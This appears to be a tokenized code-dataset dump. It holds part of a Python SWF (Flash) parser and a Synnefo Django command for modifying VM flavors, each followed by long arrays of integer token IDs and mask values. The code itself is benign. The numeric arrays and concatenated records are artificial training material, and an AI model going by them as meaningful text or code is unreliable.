*args) size = self["length"].value if self[0].name == "length_ext": self._size = (6+size) * 8 else: self._size = (2+size) * 8 code = self["code"].value if code in self.TAG_INFO: self._name, self._description, self.parser = self.TAG_INFO[code] else: self.parser = None def createFields(self): if self.stream.readBits(self.absolute_address, 6, self.endian) == 63: yield Bits(self, "length_ext", 6) yield Bits(self, "code", 10) yield filesizeHandler(UInt32(self, "length")) else: yield filesizeHandler(Bits(self, "length", 6)) yield Bits(self, "code", 10) size = self["length"].value if 0 < size: if self.parser: for field in self.parser(self, size): yield field else: yield RawBytes(self, "data", size) def createDescription(self): return "Tag: %s (%s)" % (self["code"].display, self["length"].display) class SwfFile(Parser): VALID_VERSIONS = set(xrange(1, 10+1)) PARSER_TAGS = { "id": "swf", "category": "container", "file_ext": ["swf"], "mime": (u"application/x-shockwave-flash",), "min_size": 64, "description": u"Macromedia Flash data" } PARSER_TAGS["magic"] = [] for version in VALID_VERSIONS: PARSER_TAGS["magic"].append(("FWS%c" % version, 0)) PARSER_TAGS["magic"].append(("CWS%c" % version, 0)) endian = LITTLE_ENDIAN SWF_SCALE_FACTOR = 1.0 / 20 def validate(self): if self.stream.readBytes(0, 3) not in ("FWS", "CWS"): return "Wrong file signature" if self["version"].value not in self.VALID_VERSIONS: return "Unknown version" if MAX_FILE_SIZE < self["filesize"].value: return "File too big (%u)" % self["filesize"].value if self["signature"].value == "FWS": if self["rect/padding"].value != 0: return "Unknown rectangle padding value" return True def createFields(self): yield String(self, "signature", 3, "SWF format signature", charset="ASCII") yield UInt8(self, "version") yield filesizeHandler(UInt32(self, "filesize")) if self["signature"].value != "CWS": yield RECT(self, "rect") yield FixedFloat16(self, "frame_rate") yield UInt16(self, "frame_count") while not self.eof: yield Tag(self, "tag[]") else: size = (self.size - self.current_size) // 8 if has_deflate: data = Deflate(Bytes(self, "compressed_data", size), False) def createInputStream(cis, source=None, **args): stream = cis(source=source) header = StringInputStream("FWS" + self.stream.readBytes(3*8, 5)) args.setdefault("tags",[]).append(("class", SwfFile)) return ConcatStream((header, stream), source=stream.source, **args) data.setSubIStream(createInputStream) yield data else: yield Bytes(self, "compressed_data", size) def createDescription(self): desc = ["version %u" % self["version"].value] if self["signature"].value == "CWS": desc.append("compressed") return u"Macromedia Flash data: %s" % (", ".join(desc)) def createContentSize(self): if self["signature"].value == "FWS": return self["filesize"].value * 8 else: # TODO: Size of compressed Flash? return None
mit
[ 624, 199, 8745, 38, 334, 24673, 4603, 15, 33, 1117, 1235, 11040, 1119, 9, 570, 1798, 14, 199, 199, 17763, 26, 421, 446, 22986, 374, 7, 17548, 38, 10944, 26, 2043, 1455, 921, 1544, 14, 77, 18, 736, 87, 14, 957, 15, 20426, 63, 24421, 1121, 14, 1360, 199, 446, 1455, 921, 1544, 14, 10220, 13, 261, 322, 1785, 14, 957, 15, 20426, 15, 908, 15, 199, 446, 1455, 921, 1544, 14, 13565, 5076, 2655, 65, 14, 957, 15, 30738, 305, 14114, 15, 199, 446, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 15619, 15, 784, 1119, 15, 199, 199, 5949, 26, 6561, 630, 428, 1346, 1372, 199, 13921, 1434, 26, 7349, 17162, 22459, 8315, 199, 624, 199, 199, 504, 394, 21301, 63, 2087, 492, 10191, 199, 504, 394, 21301, 63, 1018, 14, 698, 492, 334, 23532, 12, 10191, 547, 12, 272, 10199, 12, 26612, 12, 10666, 24, 12, 10666, 975, 12, 9805, 708, 12, 10666, 708, 12, 9805, 772, 12, 445, 1558, 12, 11305, 12, 272, 9879, 12, 13480, 5571, 12, 12119, 10787, 12, 2624, 12, 4804, 1173, 9, 199, 504, 394, 21301, 63, 1018, 14, 15009, 492, 491, 31783, 63, 21046, 12, 16524, 63, 21046, 199, 504, 394, 21301, 63, 1018, 14, 505, 63, 2232, 492, 1318, 2461, 12, 23858, 2461, 199, 504, 394, 21301, 63, 1018, 14, 2537, 492, 6273, 2320, 12, 11779, 18285, 199, 504, 394, 21301, 63, 2087, 14, 1569, 14, 2330, 492, 19013, 199, 504, 394, 21301, 63, 2087, 14, 1569, 14, 14230, 492, 1603, 11997, 9856, 12, 1603, 11997, 1173, 199, 504, 394, 21301, 63, 1018, 14, 1745, 492, 2624, 27611, 12, 1448, 3385, 3296, 199, 504, 394, 21301, 63, 2087, 14, 2330, 14, 20902, 492, 11391, 750, 12, 965, 63, 20902, 199, 504, 394, 21301, 63, 2087, 14, 3600, 14, 1287, 63, 1579, 492, 2198, 3310, 5229, 12, 2198, 8390, 199, 646, 3473, 199, 199, 3, 14212, 570, 1568, 334, 1400, 19487, 9, 199, 4283, 63, 3817, 63, 4305, 275, 5238, 627, 6619, 627, 6619, 199, 199, 16491, 12346, 275, 3388, 199, 199, 533, 820, 3582, 8, 23532, 304, 272, 17638, 275, 16524, 63, 21046, 272, 347, 24828, 8, 277, 304, 267, 1995, 26612, 8, 277, 12, 298, 4994, 1405, 401, 959, 9, 267, 302, 5609, 275, 291, 905, 4994, 1405, 4140, 585, 267, 340, 440, 302, 5609, 26, 288, 746, 10191, 547, 480, 8745, 38, 1798, 26, 6378, 820, 3582, 901, 1568, 334, 16, 6320, 267, 1995, 26612, 8, 277, 12, 298, 21601, 401, 302, 5609, 12, 298, 56, 7481, 315, 8900, 6142, 531, 267, 1995, 26612, 8, 277, 12, 298, 28961, 401, 302, 5609, 12, 298, 56, 5696, 315, 8900, 6142, 531, 267, 1995, 26612, 8, 277, 12, 298, 27429, 401, 302, 5609, 12, 298, 57, 7481, 315, 8900, 6142, 531, 267, 1995, 26612, 8, 277, 12, 298, 30036, 401, 302, 5609, 12, 298, 57, 5696, 315, 8900, 6142, 531, 267, 1568, 275, 6273, 2320, 8, 277, 14, 1818, 63, 890, 12, 1695, 9, 267, 340, 1568, 26, 288, 1995, 12119, 10787, 8, 277, 12, 298, 8358, 401, 1568, 9, 339, 347, 664, 6216, 8, 277, 304, 267, 372, 3473, 14, 14085, 8, 1609, 8, 277, 905, 28961, 4140, 585, 9, 1182, 377, 55, 12346, 9, 272, 347, 664, 8436, 8, 277, 304, 267, 372, 3473, 14, 14085, 8, 1609, 8, 277, 905, 30036, 4140, 585, 9, 1182, 377, 55, 12346, 9, 339, 347, 1218, 5831, 8, 277, 304, 267, 372, 298, 18127, 26, 450, 2521, 5, 85, 2, 450, 334, 277, 14, 362, 6216, 1062, 291, 14, 362, 8436, 1012, 199, 199, 533, 18659, 5136, 975, 8, 23532, 304, 272, 347, 24828, 8, 277, 304, 267, 1995, 10666, 24, 8, 277, 12, 298, 1609, 63, 2064, 531, 267, 1995, 10666, 24, 8, 277, 12, 298, 442, 63, 2064, 531, 339, 347, 1218, 1110, 8, 277, 304, 267, 372, 291, 905, 442, 63, 2064, 4140, 585, 435, 221, 2069, 8, 277, 905, 1609, 63, 2064, 4140, 585, 9, 1182, 7633, 199, 199, 318, 2198, 14148, 4117, 8, 1708, 12, 1568, 304, 272, 1995, 19013, 8, 1708, 12, 298, 2326, 531, 199, 199, 318, 4546, 18, 2523, 3903, 8, 698, 304, 272, 372, 11779, 18285, 8, 1229, 713, 14, 21, 627, 334, 18, 1011, 901, 14, 585, 430, 199, 199, 4118, 6131, 63, 6012, 35, 63, 1658, 19, 275, 499, 199, 4118, 6131, 63, 6012, 35, 275, 469, 272, 378, 26, 298, 4307, 401, 272, 413, 26, 298, 1554, 4222, 45, 401, 272, 3562, 6131, 63, 6012, 35, 63, 1658, 19, 26, 298, 1658, 19, 401, 272, 650, 26, 298, 1358, 10895, 401, 272, 1227, 26, 298, 46, 29051, 573, 332, 401, 199, 93, 199, 199, 533, 428, 1034, 28278, 8, 23532, 304, 272, 347, 24828, 8, 277, 304, 267, 1995, 10666, 24, 8, 277, 12, 298, 835, 531, 267, 367, 1478, 315, 4945, 8, 277, 905, 835, 4140, 585, 304, 288, 1995, 10666, 708, 8, 277, 12, 298, 1657, 1602, 31346, 288, 1995, 10666, 975, 8, 277, 12, 298, 1896, 16, 31346, 288, 1995, 10666, 975, 8, 277, 12, 298, 1896, 17, 31346, 199, 199, 318, 2198, 18670, 3142, 8, 1708, 12, 1568, 304, 272, 327, 3254, 26, 6423, 7688, 370, 664, 9076, 1396, 14012, 370, 5715, 2061, 20453, 298, 318, 63, 14990, 59, 8480, 901, 199, 3, 259, 340, 440, 30934, 14990, 63, 1291, 26, 199, 3, 263, 746, 10191, 547, 480, 18670, 1853, 1928, 1406, 531, 272, 340, 715, 26, 327, 14990, 63, 1291, 508, 3562, 6131, 63, 6012, 35, 63, 1658, 19, 26, 267, 1995, 10666, 975, 8, 1708, 12, 298, 3356, 531, 267, 1995, 10666, 975, 8, 1708, 12, 298, 3039, 531, 272, 1568, 275, 334, 1708, 14, 890, 446, 1676, 14, 1818, 63, 890, 9, 5001, 1695, 272, 340, 1568, 26, 267, 1995, 13480, 5571, 8, 1708, 12, 298, 20544, 63, 576, 401, 1568, 9, 199, 199, 318, 2198, 3162, 18670, 8, 1708, 12, 1568, 304, 272, 1995, 10666, 975, 8, 1708, 12, 298, 14990, 63, 344, 531, 272, 1995, 10199, 8, 1708, 12, 298, 1989, 63, 262, 63, 1403, 531, 272, 1995, 10199, 8, 1708, 12, 298, 1989, 63, 548, 63, 1403, 531, 272, 1995, 10199, 8, 1708 ]
[ 199, 8745, 38, 334, 24673, 4603, 15, 33, 1117, 1235, 11040, 1119, 9, 570, 1798, 14, 199, 199, 17763, 26, 421, 446, 22986, 374, 7, 17548, 38, 10944, 26, 2043, 1455, 921, 1544, 14, 77, 18, 736, 87, 14, 957, 15, 20426, 63, 24421, 1121, 14, 1360, 199, 446, 1455, 921, 1544, 14, 10220, 13, 261, 322, 1785, 14, 957, 15, 20426, 15, 908, 15, 199, 446, 1455, 921, 1544, 14, 13565, 5076, 2655, 65, 14, 957, 15, 30738, 305, 14114, 15, 199, 446, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 15619, 15, 784, 1119, 15, 199, 199, 5949, 26, 6561, 630, 428, 1346, 1372, 199, 13921, 1434, 26, 7349, 17162, 22459, 8315, 199, 624, 199, 199, 504, 394, 21301, 63, 2087, 492, 10191, 199, 504, 394, 21301, 63, 1018, 14, 698, 492, 334, 23532, 12, 10191, 547, 12, 272, 10199, 12, 26612, 12, 10666, 24, 12, 10666, 975, 12, 9805, 708, 12, 10666, 708, 12, 9805, 772, 12, 445, 1558, 12, 11305, 12, 272, 9879, 12, 13480, 5571, 12, 12119, 10787, 12, 2624, 12, 4804, 1173, 9, 199, 504, 394, 21301, 63, 1018, 14, 15009, 492, 491, 31783, 63, 21046, 12, 16524, 63, 21046, 199, 504, 394, 21301, 63, 1018, 14, 505, 63, 2232, 492, 1318, 2461, 12, 23858, 2461, 199, 504, 394, 21301, 63, 1018, 14, 2537, 492, 6273, 2320, 12, 11779, 18285, 199, 504, 394, 21301, 63, 2087, 14, 1569, 14, 2330, 492, 19013, 199, 504, 394, 21301, 63, 2087, 14, 1569, 14, 14230, 492, 1603, 11997, 9856, 12, 1603, 11997, 1173, 199, 504, 394, 21301, 63, 1018, 14, 1745, 492, 2624, 27611, 12, 1448, 3385, 3296, 199, 504, 394, 21301, 63, 2087, 14, 2330, 14, 20902, 492, 11391, 750, 12, 965, 63, 20902, 199, 504, 394, 21301, 63, 2087, 14, 3600, 14, 1287, 63, 1579, 492, 2198, 3310, 5229, 12, 2198, 8390, 199, 646, 3473, 199, 199, 3, 14212, 570, 1568, 334, 1400, 19487, 9, 199, 4283, 63, 3817, 63, 4305, 275, 5238, 627, 6619, 627, 6619, 199, 199, 16491, 12346, 275, 3388, 199, 199, 533, 820, 3582, 8, 23532, 304, 272, 17638, 275, 16524, 63, 21046, 272, 347, 24828, 8, 277, 304, 267, 1995, 26612, 8, 277, 12, 298, 4994, 1405, 401, 959, 9, 267, 302, 5609, 275, 291, 905, 4994, 1405, 4140, 585, 267, 340, 440, 302, 5609, 26, 288, 746, 10191, 547, 480, 8745, 38, 1798, 26, 6378, 820, 3582, 901, 1568, 334, 16, 6320, 267, 1995, 26612, 8, 277, 12, 298, 21601, 401, 302, 5609, 12, 298, 56, 7481, 315, 8900, 6142, 531, 267, 1995, 26612, 8, 277, 12, 298, 28961, 401, 302, 5609, 12, 298, 56, 5696, 315, 8900, 6142, 531, 267, 1995, 26612, 8, 277, 12, 298, 27429, 401, 302, 5609, 12, 298, 57, 7481, 315, 8900, 6142, 531, 267, 1995, 26612, 8, 277, 12, 298, 30036, 401, 302, 5609, 12, 298, 57, 5696, 315, 8900, 6142, 531, 267, 1568, 275, 6273, 2320, 8, 277, 14, 1818, 63, 890, 12, 1695, 9, 267, 340, 1568, 26, 288, 1995, 12119, 10787, 8, 277, 12, 298, 8358, 401, 1568, 9, 339, 347, 664, 6216, 8, 277, 304, 267, 372, 3473, 14, 14085, 8, 1609, 8, 277, 905, 28961, 4140, 585, 9, 1182, 377, 55, 12346, 9, 272, 347, 664, 8436, 8, 277, 304, 267, 372, 3473, 14, 14085, 8, 1609, 8, 277, 905, 30036, 4140, 585, 9, 1182, 377, 55, 12346, 9, 339, 347, 1218, 5831, 8, 277, 304, 267, 372, 298, 18127, 26, 450, 2521, 5, 85, 2, 450, 334, 277, 14, 362, 6216, 1062, 291, 14, 362, 8436, 1012, 199, 199, 533, 18659, 5136, 975, 8, 23532, 304, 272, 347, 24828, 8, 277, 304, 267, 1995, 10666, 24, 8, 277, 12, 298, 1609, 63, 2064, 531, 267, 1995, 10666, 24, 8, 277, 12, 298, 442, 63, 2064, 531, 339, 347, 1218, 1110, 8, 277, 304, 267, 372, 291, 905, 442, 63, 2064, 4140, 585, 435, 221, 2069, 8, 277, 905, 1609, 63, 2064, 4140, 585, 9, 1182, 7633, 199, 199, 318, 2198, 14148, 4117, 8, 1708, 12, 1568, 304, 272, 1995, 19013, 8, 1708, 12, 298, 2326, 531, 199, 199, 318, 4546, 18, 2523, 3903, 8, 698, 304, 272, 372, 11779, 18285, 8, 1229, 713, 14, 21, 627, 334, 18, 1011, 901, 14, 585, 430, 199, 199, 4118, 6131, 63, 6012, 35, 63, 1658, 19, 275, 499, 199, 4118, 6131, 63, 6012, 35, 275, 469, 272, 378, 26, 298, 4307, 401, 272, 413, 26, 298, 1554, 4222, 45, 401, 272, 3562, 6131, 63, 6012, 35, 63, 1658, 19, 26, 298, 1658, 19, 401, 272, 650, 26, 298, 1358, 10895, 401, 272, 1227, 26, 298, 46, 29051, 573, 332, 401, 199, 93, 199, 199, 533, 428, 1034, 28278, 8, 23532, 304, 272, 347, 24828, 8, 277, 304, 267, 1995, 10666, 24, 8, 277, 12, 298, 835, 531, 267, 367, 1478, 315, 4945, 8, 277, 905, 835, 4140, 585, 304, 288, 1995, 10666, 708, 8, 277, 12, 298, 1657, 1602, 31346, 288, 1995, 10666, 975, 8, 277, 12, 298, 1896, 16, 31346, 288, 1995, 10666, 975, 8, 277, 12, 298, 1896, 17, 31346, 199, 199, 318, 2198, 18670, 3142, 8, 1708, 12, 1568, 304, 272, 327, 3254, 26, 6423, 7688, 370, 664, 9076, 1396, 14012, 370, 5715, 2061, 20453, 298, 318, 63, 14990, 59, 8480, 901, 199, 3, 259, 340, 440, 30934, 14990, 63, 1291, 26, 199, 3, 263, 746, 10191, 547, 480, 18670, 1853, 1928, 1406, 531, 272, 340, 715, 26, 327, 14990, 63, 1291, 508, 3562, 6131, 63, 6012, 35, 63, 1658, 19, 26, 267, 1995, 10666, 975, 8, 1708, 12, 298, 3356, 531, 267, 1995, 10666, 975, 8, 1708, 12, 298, 3039, 531, 272, 1568, 275, 334, 1708, 14, 890, 446, 1676, 14, 1818, 63, 890, 9, 5001, 1695, 272, 340, 1568, 26, 267, 1995, 13480, 5571, 8, 1708, 12, 298, 20544, 63, 576, 401, 1568, 9, 199, 199, 318, 2198, 3162, 18670, 8, 1708, 12, 1568, 304, 272, 1995, 10666, 975, 8, 1708, 12, 298, 14990, 63, 344, 531, 272, 1995, 10199, 8, 1708, 12, 298, 1989, 63, 262, 63, 1403, 531, 272, 1995, 10199, 8, 1708, 12, 298, 1989, 63, 548, 63, 1403, 531, 272, 1995, 10199, 8, 1708, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
AthinaB/synnefo
snf-cyclades-app/synnefo/logic/management/commands/flavor-modify.py
9
2337
# Copyright (C) 2010-2014 GRNET S.A. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from optparse import make_option from django.core.management.base import CommandError from snf_django.management.commands import SynnefoCommand from synnefo.management.common import get_resource from snf_django.management.utils import parse_bool from logging import getLogger log = getLogger(__name__) class Command(SynnefoCommand): args = "<flavor_id>" help = "Modify a flavor" option_list = SynnefoCommand.option_list + ( make_option( "--deleted", dest="deleted", metavar="True|False", choices=["True", "False"], default=None, help="Mark/unmark a flavor as deleted"), make_option( "--allow-create", dest="allow_create", metavar="True|False", choices=["True", "False"], default=None, help="Set if users can create servers with this flavor"), ) def handle(self, *args, **options): if len(args) != 1: raise CommandError("Please provide a flavor ID") flavor = get_resource("flavor", args[0], for_update=True) deleted = options['deleted'] if deleted: deleted = parse_bool(deleted) log.info("Marking flavor %s as deleted=%s", flavor, deleted) flavor.deleted = deleted flavor.save() allow_create = options['allow_create'] if allow_create: allow_create = parse_bool(allow_create) log.info("Marking flavor %s as allow_create=%s", flavor, allow_create) flavor.allow_create = allow_create flavor.save()
gpl-3.0
[ 3, 1898, 334, 35, 9, 7129, 13, 7280, 21772, 7278, 428, 14, 33, 14, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 8691, 492, 1852, 63, 1422, 199, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 14393, 199, 199, 504, 6895, 70, 63, 1176, 14, 8110, 14, 4405, 492, 29988, 685, 545, 3110, 199, 504, 9560, 685, 545, 14, 8110, 14, 2330, 492, 664, 63, 1927, 199, 504, 6895, 70, 63, 1176, 14, 8110, 14, 1208, 492, 2198, 63, 2245, 421, 199, 504, 2050, 492, 28138, 199, 793, 275, 28138, 3460, 354, 3368, 421, 199, 533, 5817, 8, 17746, 685, 545, 3110, 304, 272, 1249, 275, 3886, 6081, 63, 344, 4335, 272, 1720, 275, 298, 18357, 282, 8541, 2, 339, 945, 63, 513, 275, 29988, 685, 545, 3110, 14, 1422, 63, 513, 435, 334, 267, 1852, 63, 1422, 8, 288, 4320, 6062, 401, 288, 2053, 628, 6062, 401, 288, 8214, 628, 549, 92, 797, 401, 288, 3415, 6270, 549, 401, 298, 797, 2255, 288, 849, 29, 403, 12, 288, 1720, 628, 6470, 15, 324, 1657, 282, 8541, 465, 5463, 1288, 267, 1852, 63, 1422, 8, 288, 4320, 3306, 13, 981, 401, 288, 2053, 628, 3306, 63, 981, 401, 288, 8214, 628, 549, 92, 797, 401, 288, 3415, 6270, 549, 401, 298, 797, 2255, 288, 849, 29, 403, 12, 288, 1720, 628, 1084, 340, 4390, 883, 1218, 8037, 543, 642, 8541, 1288, 272, 776, 339, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 340, 822, 8, 589, 9, 1137, 413, 26, 288, 746, 14393, 480, 8254, 5647, 282, 8541, 2870, 531, 398, 8541, 275, 664, 63, 1927, 480, 6081, 401, 1249, 59, 16, 467, 367, 63, 873, 29, 549, 9, 398, 5463, 275, 1511, 459, 6062, 418, 398, 340, 5463, 26, 288, 5463, 275, 2198, 63, 2245, 8, 6062, 9, 288, 943, 14, 815, 480, 6470, 316, 8541, 450, 83, 465, 5463, 2458, 83, 401, 8541, 12, 5463, 9, 288, 8541, 14, 6062, 275, 5463, 288, 8541, 14, 2117, 342, 398, 2040, 63, 981, 275, 1511, 459, 3306, 63, 981, 418, 267, 340, 2040, 63, 981, 26, 288, 2040, 63, 981, 275, 2198, 63, 2245, 8, 3306, 63, 981, 9, 288, 943, 14, 815, 480, 6470, 316, 8541, 450, 83, 465, 2040, 63, 981, 2458, 83, 401, 8541, 12, 2151, 2040, 63, 981, 9, 288, 8541, 14, 3306, 63, 981, 275, 2040, 63, 981, 288, 8541, 14, 2117, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 7129, 13, 7280, 21772, 7278, 428, 14, 33, 14, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 8691, 492, 1852, 63, 1422, 199, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 14393, 199, 199, 504, 6895, 70, 63, 1176, 14, 8110, 14, 4405, 492, 29988, 685, 545, 3110, 199, 504, 9560, 685, 545, 14, 8110, 14, 2330, 492, 664, 63, 1927, 199, 504, 6895, 70, 63, 1176, 14, 8110, 14, 1208, 492, 2198, 63, 2245, 421, 199, 504, 2050, 492, 28138, 199, 793, 275, 28138, 3460, 354, 3368, 421, 199, 533, 5817, 8, 17746, 685, 545, 3110, 304, 272, 1249, 275, 3886, 6081, 63, 344, 4335, 272, 1720, 275, 298, 18357, 282, 8541, 2, 339, 945, 63, 513, 275, 29988, 685, 545, 3110, 14, 1422, 63, 513, 435, 334, 267, 1852, 63, 1422, 8, 288, 4320, 6062, 401, 288, 2053, 628, 6062, 401, 288, 8214, 628, 549, 92, 797, 401, 288, 3415, 6270, 549, 401, 298, 797, 2255, 288, 849, 29, 403, 12, 288, 1720, 628, 6470, 15, 324, 1657, 282, 8541, 465, 5463, 1288, 267, 1852, 63, 1422, 8, 288, 4320, 3306, 13, 981, 401, 288, 2053, 628, 3306, 63, 981, 401, 288, 8214, 628, 549, 92, 797, 401, 288, 3415, 6270, 549, 401, 298, 797, 2255, 288, 849, 29, 403, 12, 288, 1720, 628, 1084, 340, 4390, 883, 1218, 8037, 543, 642, 8541, 1288, 272, 776, 339, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 